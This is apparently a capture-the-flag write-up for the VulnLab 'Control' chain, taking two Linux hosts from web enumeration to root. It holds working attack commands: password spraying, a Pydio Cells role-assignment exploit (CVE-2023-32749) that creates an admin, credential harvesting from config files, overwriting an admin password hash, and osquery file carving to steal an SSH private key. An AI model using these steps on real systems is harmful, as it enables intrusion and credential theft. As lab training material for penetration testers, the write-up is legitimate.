POSTS

VULNLAB: Control

Control is a Hard-rated chains focus on a small multi-host Linux environment that simulates a realistic internal network and endpoint-management infrastructure. The lab contains two primary hosts (os.control.vl and intra.control.vl) and a variety of services (web apps, OSCTRL/osquery, SSH, nginx, Docker) that chain together to a full domain compromise. It focuses on exploiting web applications, abusing management tooling (OSCTRL / osquery), and leveraging operational misconfigurations to move from an initial foothold to full root on multiple hosts.

VULNLAB: Control
3872 words · 19 min

Overview

  • Type Chains
  • OS Linux
  • Severity Hard
  • Creator jkr
  • Release date 2023 Jul 21
  • IP 10.10.165.181, 10.10.165.182

Enumeration

Start the instance via Discord and let’s go:

image

10.10.165.181
10.10.165.182

Nmap

$ nmap -sCV -Pn -p- --min-rate=1000 -T4 10.10.165.181
Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-13 09:57 JST
Nmap scan report for 10.10.165.181
Host is up (0.26s latency).
Not shown: 65533 closed tcp ports (reset)
PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 be:fa:cf:c3:c8:b1:50:11:f2:b0:73:b8:c5:ad:3d:0b (ECDSA)
|_  256 ef:4e:d4:7e:cc:dc:d6:90:91:d8:ed:1d:7b:88:07:b4 (ED25519)
443/tcp open  ssl/http nginx 1.25.0
|_http-server-header: nginx/1.25.0
|_http-generator: DokuWiki
|_http-title: start [control.vl Intranet]
|_ssl-date: TLS randomness does not represent time
|_http-trane-info: Problem with XML parsing of /evox/about
| ssl-cert: Subject: commonName=wiki.intra.control.vl/organizationName=Belleville/countryName=CA
| Not valid before: 2023-06-30T12:30:10
|_Not valid after:  2033-06-27T12:30:10
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

add wiki.intra.control.vl in /etc/hosts

$ nmap -sCV -Pn -p- --min-rate=1000 -T4 10.10.165.182                                                   
Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-13 09:57 JST
Nmap scan report for 10.10.165.182
Host is up (0.26s latency).
Not shown: 65530 closed tcp ports (reset)
PORT     STATE SERVICE  VERSION
22/tcp   open  ssh      OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 05:0f:88:bf:a3:a3:b9:f1:d7:82:fc:b1:92:19:90:ab (ECDSA)
|_  256 0b:53:d6:5d:21:4a:64:1d:69:aa:bd:01:77:87:90:cc (ED25519)
80/tcp   open  http     nginx
|_http-title: Did not follow redirect to https://10.10.165.182/
443/tcp  open  ssl/http nginx
|_ssl-date: TLS randomness does not represent time
|_http-title: Site doesn't have a title (text/plain; charset=utf-8).
| ssl-cert: Subject: commonName=os.control.vl/organizationName=Belleville/countryName=CA
| Not valid before: 2023-06-30T16:21:40
|_Not valid after:  2033-06-27T16:21:40
8443/tcp open  ssl/http nginx
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=os.control.vl/organizationName=Belleville/countryName=CA
| Not valid before: 2023-06-30T16:21:40
|_Not valid after:  2033-06-27T16:21:40
| http-title: Login to osctrl
|_Requested resource was /login
8444/tcp open  ssl/http nginx
| ssl-cert: Subject: commonName=os.control.vl/organizationName=Belleville/countryName=CA
| Not valid before: 2023-06-30T16:21:40
|_Not valid after:  2033-06-27T16:21:40
|_http-title: Site doesn't have a title (text/plain; charset=utf-8).
|_ssl-date: TLS randomness does not represent time
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

add os.control.vl in /etc/hosts

WEB (80/tcp, 443/tcp, 8443/tcp)

  • wiki.intra.control.vl quick check:

image

Docuwiki

  • os.control.vl quick check:

image

osctrl

wiki.intra.control.vl

We proceed to enumerate, click on Cells - Secure File Sharing link, we can find some good information:

image

Found:

  • a new URL https://cells.intra.control.vl/ (add cells.intra.control.vl in /etc/hosts)
  • If you need or want access please come over to Jimmy George’s desk (room #42) and let him know. Once the account is created with the start password Summer2023! he will let you know and you can log in to the service and start uploading and sharing documents.
  • Some usernames: Ann Rodriguez, a.larose

Click on Recent Changes:

image

A screenshot login.png has been removed

But in History we can access to the diff and see the previous version:

image

image

Already found the username a.larose

Continue to check all diff and found more usernames:

image

Found Kurt Dagenais and Kara Leblanc

image

Found Jimmy George and Adriana Larose (so should be for the previous finding login a.larose)

cells.intra.control.vl

Password spraying (k.dagenais)

We create a usernames list:

a.rodriguez
a.larose
k.dagenais
s.thibodeau
k.leblanc
j.george

Try bruteforce attack with Summer2023! password. we intercept the request via Burp then forward to Intruder:

image

image

We can access with k.dagenais:Summer2023!:

image

Looking to Address Book > Directory, we can find more users:

image

Ken Pare (k.pare)
Yvon McBride (y.bride)

Try login with both but nothing

Check what kind of App is running on this web portal:

image

image

Screenshot From 2025-02-13 11-52-31

Pydio Cells is an open-source, self-hosted Document Sharing and Collaboration platform specifically designed for organizations that need advanced document-sharing and collaboration without security trade-offs or compliance issues.

CVE-2023-32749 - Pydio Cells 4.1.2 - Unauthorised Role Assignments (Control_User-1)

After some research we found that vulnerability: PacketStorm - Pydio Cells 4.1.2 Privilege Escalation

Following the explanation from http://www.redteam-pentesting.de, we can exploit it, which allows for normal users to create admin accounts with full access on instances of pydio.

We export our JWT and then run the following requests:

image

$ export JWT="knl3SFQzL6Qc25dE_HtLvFs1uhgrtHmc9PjcqgIhUH0.W2ts9hf6MmoThdw4FS-8opRv4uWrHZmy9WsvJ_UOGUQ"
$ curl --silent \                                                                                     
--header "Authorization: Bearer $JWT" \
--header 'Content-Type: application/json' \
--data '{}' \
https://cells.intra.control.vl/a/user -k | tee all_users.json
$ jq '.Users[].Roles' all_users.json \
| jq -s 'flatten | .[].Uuid | {Uuid: .}' \
| jq -s 'unique' \
| jq '{"Login": "pwn", "Password": "Azerty123", "Attributes":
{"profile": "shared"}, "Roles": .}' \
| tee create_user.json

Output:

{
  "Login": "pwn",
  "Password": "Azerty123",
  "Attributes": {
    "profile": "shared"
  },
  "Roles": [
    {
      "Uuid": "00e5a14a-e93a-477c-8da4-d56b90016e6d"
    },
    {
      "Uuid": "09980a58-2298-41f3-94db-36c16f57057b"
    },
    {
      "Uuid": "1ea0d969-887c-45dc-92c4-acf9f1b4d939"
    },
    {
      "Uuid": "6204b990-19fa-42ce-9cb8-575ef4982962"
    },
    {
      "Uuid": "6ab4feee-3836-4048-b361-1d844c8b5f20"
    },
    {
      "Uuid": "6b0ac8bc-fd81-4ebf-be04-b12334e193d1"
    },
    {
      "Uuid": "7bb9eeab-a037-4bf4-9c1b-16bf62303312"
    },
    {
      "Uuid": "9ea083f0-0412-41c4-8f09-994e7d56caee"
    },
    {
      "Uuid": "ADMINS"
    },
    {
      "Uuid": "ROOT_GROUP"
    },
    {
      "Uuid": "dd0ed436-6341-4942-a597-82c1479a2cae"
    }
  ]
}
$ curl --request PUT \
--silent \
--header "Authorization: Bearer $JWT" \
--header 'Content-Type: application/json' \
--data @create_user.json \
https://cells.intra.control.vl/a/user/pwn -k

Check:

image

We are now admin and access to more shared cells:

  • HR
  • osquery

We can found credentials:

image

image

Found provision:TeiG6imeep6aequij3ei

os.control.vl

We can login with the provision’s credentials to os.control.vl via SSH and grab the Control_User-1 flag:

$ sshpass -p 'TeiG6imeep6aequij3ei' ssh -p22 provision@os.control.vl -oStrictHostKeyChecking=accept-new -oStrictHostKeyChecking=no
Warning: Permanently added 'os.control.vl' (ED25519) to the list of known hosts.
Welcome to Ubuntu 22.04.2 LTS (GNU/Linux 5.15.0-76-generic x86_64)
                                                           
   ██████╗  ███████╗  ██████╗ ████████╗ ██████╗  ██╗       
  ██╔═══██╗ ██╔════╝ ██╔════╝ ╚══██╔══╝ ██╔══██╗ ██║       
  ██║   ██║ ███████╗ ██║         ██║    ██████╔╝ ██║       
  ██║   ██║ ╚════██║ ██║         ██║    ██╔══██╗ ██║       
  ╚██████╔╝ ███████║ ╚██████╗    ██║    ██║  ██║ ███████╗  
   ╚═════╝  ╚══════╝  ╚═════╝    ╚═╝    ╚═╝  ╚═╝ ╚══════╝  
                                                           


  System information as of Thu Feb 13 03:28:21 AM UTC 2025

  System load:  0.0               Processes:             119
  Usage of /:   68.2% of 8.02GB   Users logged in:       0
  Memory usage: 28%               IPv4 address for ens5: 10.10.165.182
  Swap usage:   0%


Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status


The list of available updates is more than a week old.
To check for new updates run: sudo apt update

provision@os:~$ pwd
/home/provision
provision@os:~$ ls
user.txt
provision@os:~$ cat user.txt 
VL{41968ca1f4f92b53d1d4ca9eab5455fe}

Enumeration

We download the last version of [linpeas][https://github.com/peass-ng/PEASS-ng/releases/download/20250202-a3a1123d/linpeas_linux_amd64] then we upload to our target to launch it:

$ wget https://github.com/peass-ng/PEASS-ng/releases/download/20250202-a3a1123d/linpeas_linux_amd64

$ file linpeas_small.sh 
linpeas_small.sh: POSIX shell script, Unicode text, UTF-8 text executable, with very long lines (1779)
                                                                                                                                                                     
$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
provision@os:~$ cd /tmp/
provision@os:/tmp$ curl 10.8.4.253/linpeas_linux_amd64 -o linpeas

provision@os:/tmp$ file linpeas 
linpeas: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, Go BuildID=Gqc_Zkb7mvz7Rh9IIBYv/gtQ1ZW5cgfUac1nF8bYl/sxVzeQAbfANe8MYdwPHe/1KCAJ0BBg_k7rglynccG, not stripped

provision@os:/tmp$ chmod +x linpeas 
provision@os:/tmp$ ./linpeas 



                            ▄▄▄▄▄▄▄▄▄▄▄▄▄▄
                    ▄▄▄▄▄▄▄             ▄▄▄▄▄▄▄▄
             ▄▄▄▄▄▄▄      ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄  ▄▄▄▄
         ▄▄▄▄     ▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄
         ▄    ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
         ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄       ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
         ▄▄▄▄▄▄▄▄▄▄▄          ▄▄▄▄▄▄               ▄▄▄▄▄▄ ▄
         ▄▄▄▄▄▄              ▄▄▄▄▄▄▄▄                 ▄▄▄▄ 
         ▄▄                  ▄▄▄ ▄▄▄▄▄                  ▄▄▄
         ▄▄                ▄▄▄▄▄▄▄▄▄▄▄▄                  ▄▄
         ▄            ▄▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄   ▄▄
         ▄      ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
         ▄▄▄▄▄▄▄▄▄▄▄▄▄▄                                ▄▄▄▄
         ▄▄▄▄▄  ▄▄▄▄▄                       ▄▄▄▄▄▄     ▄▄▄▄
         ▄▄▄▄   ▄▄▄▄▄                       ▄▄▄▄▄      ▄ ▄▄
         ▄▄▄▄▄  ▄▄▄▄▄        ▄▄▄▄▄▄▄        ▄▄▄▄▄     ▄▄▄▄▄
         ▄▄▄▄▄▄  ▄▄▄▄▄▄▄      ▄▄▄▄▄▄▄      ▄▄▄▄▄▄▄   ▄▄▄▄▄ 
          ▄▄▄▄▄▄▄▄▄▄▄▄▄▄        ▄          ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ 
         ▄▄▄▄▄▄▄▄▄▄▄▄▄                       ▄▄▄▄▄▄▄▄▄▄▄▄▄▄
         ▄▄▄▄▄▄▄▄▄▄▄                         ▄▄▄▄▄▄▄▄▄▄▄▄▄▄
         ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄            ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
          ▀▀▄▄▄   ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▀▀▀▀▀▀
               ▀▀▀▄▄▄▄▄      ▄▄▄▄▄▄▄▄▄▄  ▄▄▄▄▄▄▀▀
                     ▀▀▀▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▀▀▀

    /---------------------------------------------------------------------------------\
    |                             Do you like PEASS?                                  |
    |---------------------------------------------------------------------------------|
    |         Learn Cloud Hacking       :     https://training.hacktricks.wiki         |
    |         Follow on Twitter         :     @hacktricks_live                        |
    |         Respect on HTB            :     SirBroccoli                             |
    |---------------------------------------------------------------------------------|
    |                                 Thank you!                                      |
    \---------------------------------------------------------------------------------/
          LinPEAS-ng by carlospolop
...
                ╔════════════════════════════════════════════════╗
════════════════╣ Processes, Crons, Timers, Services and Sockets ╠════════════════
                ╚════════════════════════════════════════════════╝
╔══════════╣ Running processes (cleaned)
╚ Check weird & unexpected proceses run by root: https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#processes
root         662  0.0  2.7 131180 26404 ?        SNsl 00:55   0:03 /opt/osquery/bin/osqueryd --flagfile /etc/osquery/osquery.flags --config_path /etc/osquery/osquery.conf
...
postgres     859  0.0  3.1 218300 30184 ?        Ss   00:55   0:03 /usr/lib/postgresql/14/bin/postgres -D /var/lib/postgresql/14/main -c config_file=/etc/postgresql/14/main/postgresql.conf
postgres     865  0.0  1.2 218436 11580 ?        Ss   00:55   0:00  _ postgres: 14/main: checkpointer
postgres     866  0.0  1.0 218300  9796 ?        Ss   00:55   0:00  _ postgres: 14/main: background writer
postgres     867  0.0  1.2 218300 11580 ?        Ss   00:55   0:00  _ postgres: 14/main: walwriter
postgres     868  0.0  0.9 218836  9228 ?        Ss   00:55   0:00  _ postgres: 14/main: autovacuum launcher
postgres     869  0.0  0.7  73052  7004 ?        Ss   00:55   0:00  _ postgres: 14/main: stats collector
postgres     870  0.0  0.8 218736  7752 ?        Ss   00:55   0:00  _ postgres: 14/main: logical replication launcher
...
osctrl       953  0.0  1.9 1089452 19112 ?       Ssl  00:55   0:01 /opt/osctrl/osctrl-api --redis --db --jwt --config
osctrl       968  0.0  2.4 1095884 23248 ?       Ssl  00:55   0:01 /opt/osctrl/osctrl-admin --redis --db --jwt --config
osctrl       969  0.0  2.9 1173292 28232 ?       Ssl  00:55   0:09 /opt/osctrl/osctrl-tls --redis --db --config
...

Let’s go to deep dive more in /etc/osquery/ and check this file too /etc/osquery/osquery.flags:

provision@os:/tmp$ cat /etc/osquery/osquery.flags

--host_identifier=uuid
--force=true
--utc=true
--enroll_secret_path=/etc/osquery/osctrl-prod.secret
--enroll_tls_endpoint=/06db90ca-cdf6-4735-928c-17654a398aa3/enroll
--config_plugin=tls
--config_tls_endpoint=/06db90ca-cdf6-4735-928c-17654a398aa3/config
--config_tls_refresh=300
--config_tls_max_attempts=5
--logger_plugin=tls
--logger_tls_compress=true
--logger_tls_endpoint=/06db90ca-cdf6-4735-928c-17654a398aa3/log
--logger_tls_period=600
--disable_carver=false
--carver_disable_function=false
--carver_start_endpoint=/06db90ca-cdf6-4735-928c-17654a398aa3/init
--carver_continue_endpoint=/06db90ca-cdf6-4735-928c-17654a398aa3/block
--carver_block_size=5120000
--disable_distributed=false
--distributed_interval=60
--distributed_plugin=tls
--distributed_tls_max_attempts=5
--distributed_tls_read_endpoint=/06db90ca-cdf6-4735-928c-17654a398aa3/read
--distributed_tls_write_endpoint=/06db90ca-cdf6-4735-928c-17654a398aa3/write
--tls_hostname=os.control.vl
--tls_server_certs=/etc/osquery/certs/osctrl-prod.crt
provision@os:/tmp$ cd /opt/osctrl/
provision@os:/opt/osctrl$ ls
carved_files  config  data  osctrl-admin  osctrl-api  osctrl-cli  osctrl-tls  static  tmpl_admin
provision@os:/opt/osctrl$ cd config
provision@os:/opt/osctrl/config$ ls
admin.json  api.json  db.json  jwt.json  logger.json  redis.json  tls.json

provision@os:/opt/osctrl/config$ cat admin.json 
{
  "admin": {
    "listener": "127.0.0.1",
    "port": "9001",
    "host": "os.control.vl",
    "auth": "db",
    "logger": "db",
    "carver": "db"
  }
}

provision@os:/opt/osctrl/config$ cat api.json 
{
  "api": {
    "listener": "127.0.0.1",
    "port": "9002",
    "host": "os.control.vl",
    "auth": "jwt",
    "logger": "none",
    "carver": "none"
  }
}

provision@os:/opt/osctrl/config$ cat db.json 
{
  "db": {
    "host": "localhost",
    "port": "5432",
    "name": "osctrl",
    "username": "osctrl",
    "password": "kuje3eequoox7eiw5Mi2",
    "max_idle_conns": 20,
    "max_open_conns": 100,
    "conn_max_lifetime": 30
  }
}

provision@os:/opt/osctrl/config$ cat jwt.json 
{
  "jwt": {
    "jwtSecret": "62a13c8e98a253b353594621e1f533621311dc2cde9328d5eeba3ef387060be1",
    "hoursToExpire": 3
  }
}

provision@os:/opt/osctrl/config$ cat redis.json 
{
  "redis": {
    "host": "localhost",
    "port": "6379",
    "password": "kuje3eequoox7eiw5Mi2",
    "db": 0
  }
}

Found some credentials and tokens

OSCTRL

Now we can enumerate more and access to osctrl portal using 2 ways.

Way 1 - with Postgres (OPSec not safe)

We saw with Linpeas that Postgres is running, and after quick check with google, OSCTRL use Postgres for the backend.

Let’s check:

provision@os:/opt/osctrl/config$ psql -U postgres
psql (14.8 (Ubuntu 14.8-0ubuntu0.22.04.1))
Type "help" for help.

postgres=# \l
                                  List of databases
   Name    |  Owner   | Encoding |   Collate   |    Ctype    |   Access privileges   
-----------+----------+----------+-------------+-------------+-----------------------
 osctrl    | postgres | UTF8     | en_US.UTF-8 | en_US.UTF-8 | 
 postgres  | postgres | UTF8     | en_US.UTF-8 | en_US.UTF-8 | 
 template0 | postgres | UTF8     | en_US.UTF-8 | en_US.UTF-8 | =c/postgres          +
           |          |          |             |             | postgres=CTc/postgres
 template1 | postgres | UTF8     | en_US.UTF-8 | en_US.UTF-8 | =c/postgres          +
           |          |          |             |             | postgres=CTc/postgres
(4 rows)

postgres=# \c osctrl
You are now connected to database "osctrl" as user "postgres".
osctrl=# \dt
                   List of relations
 Schema |             Name             | Type  | Owner  
--------+------------------------------+-------+--------
 public | admin_tags                   | table | osctrl
 public | admin_users                  | table | osctrl
 public | archive_osquery_nodes        | table | osctrl
 public | carved_blocks                | table | osctrl
 public | carved_files                 | table | osctrl
 public | distributed_queries          | table | osctrl
 public | distributed_query_executions | table | osctrl
 public | distributed_query_targets    | table | osctrl
 public | ingested_data                | table | osctrl
 public | node_history_hostnames       | table | osctrl
 public | node_history_ip_addresses    | table | osctrl
 public | node_history_localnames      | table | osctrl
 public | node_history_usernames       | table | osctrl
 public | osquery_nodes                | table | osctrl
 public | saved_queries                | table | osctrl
 public | setting_values               | table | osctrl
 public | tagged_nodes                 | table | osctrl
 public | tls_environments             | table | osctrl
 public | user_permissions             | table | osctrl
 public | user_sessions                | table | osctrl
(20 rows)

osctrl=# select id,username,pass_hash from admin_users;
 id | username |                          pass_hash                           
----+----------+--------------------------------------------------------------
  1 | admin    | $2a$10$So9aNcyjBvNcztj4xd7.RempoGWrrk2aumOx3w1AxNwHrVxodVDsW
(1 row)

Found the admin bcrypt hash but not possible to crack it.

Anyway, we will use CyberChef to create a new hash then override it (not good for OPSec):

pwned ==» $2a$10$/GPQpfy3IzSaLDPE/6M1L.YpuBezpdDGWURMbdgALcrv.uA6UNzcO

image

osctrl=# UPDATE admin_users
osctrl-# SET pass_hash = '$2a$10$/GPQpfy3IzSaLDPE/6M1L.YpuBezpdDGWURMbdgALcrv.uA6UNzcO'
osctrl-# WHERE username = 'admin'
osctrl-# ;
UPDATE 1
osctrl-# \q

We can login with our credentials to https://os.control.vl:8443/login

image

We found that we have 2 instance:

  • os (os.control.vl)
  • intra (should be intra.control.vl as IP is 10.10.165.181 that hosted wiki.intra.control.vl and cells.intra.control.vl)

add intra.control.vl in /etc/hosts

Way 2 - with osctrl-cli (OPSec safe)

During our enumeration with Linpeas, we saw that there is the OSCTRL /Query tool running.

First we enumerate the users, by calling the CLI tool specifying the db.json and run commands:

provision@os:/opt/osctrl/config$ /opt/osctrl/osctrl-cli -d -D /opt/osctrl/config/db.json user l
Existing users (1):
+----------+----------+--------+--------------------------------------+----------------+--------------------------------+
| USERNAME | FULLNAME | ADMIN? |         DEFAULT ENVIRONMENT          | LAST IPADDRESS |         LAST USERAGENT         |
+----------+----------+--------+--------------------------------------+----------------+--------------------------------+
| admin    | Admin    | True   | 06db90ca-cdf6-4735-928c-17654a398aa3 | 10.8.4.253     | Mozilla/5.0 (X11;              |
|          |          |        |                                      |                | Linux x86_64; rv:128.0)        |
|          |          |        |                                      |                | Gecko/20100101 Firefox/128.0   |
+----------+----------+--------+--------------------------------------+----------------+--------------------------------+

Only 1 admin account.

Create a new admin user:

provision@os:/opt/osctrl/config$ /opt/osctrl/osctrl-cli -d -D /opt/osctrl/config/db.json user a --username pwn --password Azerty123 --admin -e 06db90ca-cdf6-4735-928c-17654a398aa3
✅ created user pwn successfully

Double check:

rovision@os:/opt/osctrl/config$ /opt/osctrl/osctrl-cli -d -D /opt/osctrl/config/db.json user l
Existing users (2):
+----------+----------+--------+--------------------------------------+----------------+--------------------------------+
| USERNAME | FULLNAME | ADMIN? |         DEFAULT ENVIRONMENT          | LAST IPADDRESS |         LAST USERAGENT         |
+----------+----------+--------+--------------------------------------+----------------+--------------------------------+
| pwn      |          | True   | 06db90ca-cdf6-4735-928c-17654a398aa3 |                |                                |
| admin    | Admin    | True   | 06db90ca-cdf6-4735-928c-17654a398aa3 | 10.8.4.253     | Mozilla/5.0 (X11;              |
|          |          |        |                                      |                | Linux x86_64; rv:128.0)        |
|          |          |        |                                      |                | Gecko/20100101 Firefox/128.0   |
+----------+----------+--------+--------------------------------------+----------------+--------------------------------+

Then now we can login with our new admin account to https://os.control.vl:8443/login

image

Query exploiting (kara) (Control_User-2)

Access to osctrl increases our attack surface again, as we can use osctrl to query info on both machines in the chain as root.

We check this documentation https://osquery.io/schema/5.9.1/ to get an idea which queries we can run.

We check the sudoers:

image

image

image

image

Found that kara has sudo privilege (can use sudo without a password) and can run every command on the os-control-vl host.

We have also the ability to carve a file that means read a file.

Let’s check if there are ssh keys stored for kara, we can check the table schema to get the example for our query: https://github.com/osquery/osquery/blob/master/specs/user_ssh_keys.table

select * from users join user_ssh_keys using (uid) where encrypted = 0

image

image

Private key found at /home/kara/.ssh/id_ed25519

Let’s carve it:

image

image

Then download it and extract it:

$ tar -xvf _carved_files_E7914D56-62FE-5C7D-9BC1-2105FEF0F1B0_2syhLQprquNvzcsjfN965jmzi4P_-home-kara-.ssh-id_ed25519.tar 
tar: Removing leading `/' from member names
/tmp/osquery_carve_b2ee610f-a4dc-4052-88d9-613769eca773/home/kara/.ssh/id_ed25519

$ mv tmp/osquery_carve_b2ee610f-a4dc-4052-88d9-613769eca773/home/kara/.ssh/id_ed25519 ./kara.key
$ chmod 400 kara.key
$ cat kara.key 
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACBEutGOonn+NCAVgIiLWcUQa9SMgDP++x9Pm71MOxLNoAAAAJBdbgBQXW4A
UAAAAAtzc2gtZWQyNTUxOQAAACBEutGOonn+NCAVgIiLWcUQa9SMgDP++x9Pm71MOxLNoA
AAAECmBsayVkCb8sLHpKOq76EY1ZpNM7Yv0MmH2rYwtLJZCUS60Y6ief40IBWAiItZxRBr
1IyAM/77H0+bvUw7Es2gAAAAB2thcmFAb3MBAgMEBQY=
-----END OPENSSH PRIVATE KEY-----

We can connect to `` as kara:

$ ssh -i kara.key kara@os.control.vl
Welcome to Ubuntu 22.04.2 LTS (GNU/Linux 5.15.0-76-generic x86_64)
                                                           
   ██████╗  ███████╗  ██████╗ ████████╗ ██████╗  ██╗       
  ██╔═══██╗ ██╔════╝ ██╔════╝ ╚══██╔══╝ ██╔══██╗ ██║       
  ██║   ██║ ███████╗ ██║         ██║    ██████╔╝ ██║       
  ██║   ██║ ╚════██║ ██║         ██║    ██╔══██╗ ██║       
  ╚██████╔╝ ███████║ ╚██████╗    ██║    ██║  ██║ ███████╗  
   ╚═════╝  ╚══════╝  ╚═════╝    ╚═╝    ╚═╝  ╚═╝ ╚══════╝  
                                                           


  System information as of Thu Feb 13 08:43:06 AM UTC 2025

  System load:  0.00439453125     Processes:             128
  Usage of /:   68.5% of 8.02GB   Users logged in:       1
  Memory usage: 41%               IPv4 address for ens5: 10.10.165.182
  Swap usage:   0%


Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status


The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings



The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

kara@os:~$ 
kara@os:~$ sudo su
root@os:/home/kara# cat /root/root.txt 
⠀⠀⢀⣀⣄⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣴⠾⠛⠛⠷⣦⡀⠀⠀⠀⠀⠀⠀
⢠⣶⠛⠋⠉⡙⢷⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣾⣿⠐⡡⢂⠢⠈⠻⣦⡀⠀⠀⠀⠀
⣾⠃⠠⡀⠥⡐⡙⣧⣰⣤⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢿⡹⡜⢄⠣⢤⣩⣦⣸⣧⠀⠀⠀⠀
⣿⡀⢢⠑⠢⣵⡿⠛⠉⠉⠉⣷⡄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢿⣜⢬⣿⠛⠉⠉⠉⠻⣧⡀⠀⠀
⣹⣇⠢⣉⣾⡏⠀⠠⠀⢆⠡⣘⣷⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⡾⠟⠋⢉⠛⢷⣄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢻⣿⡆⠱⡈⠔⠠⠄⠈⢷⡄⠀
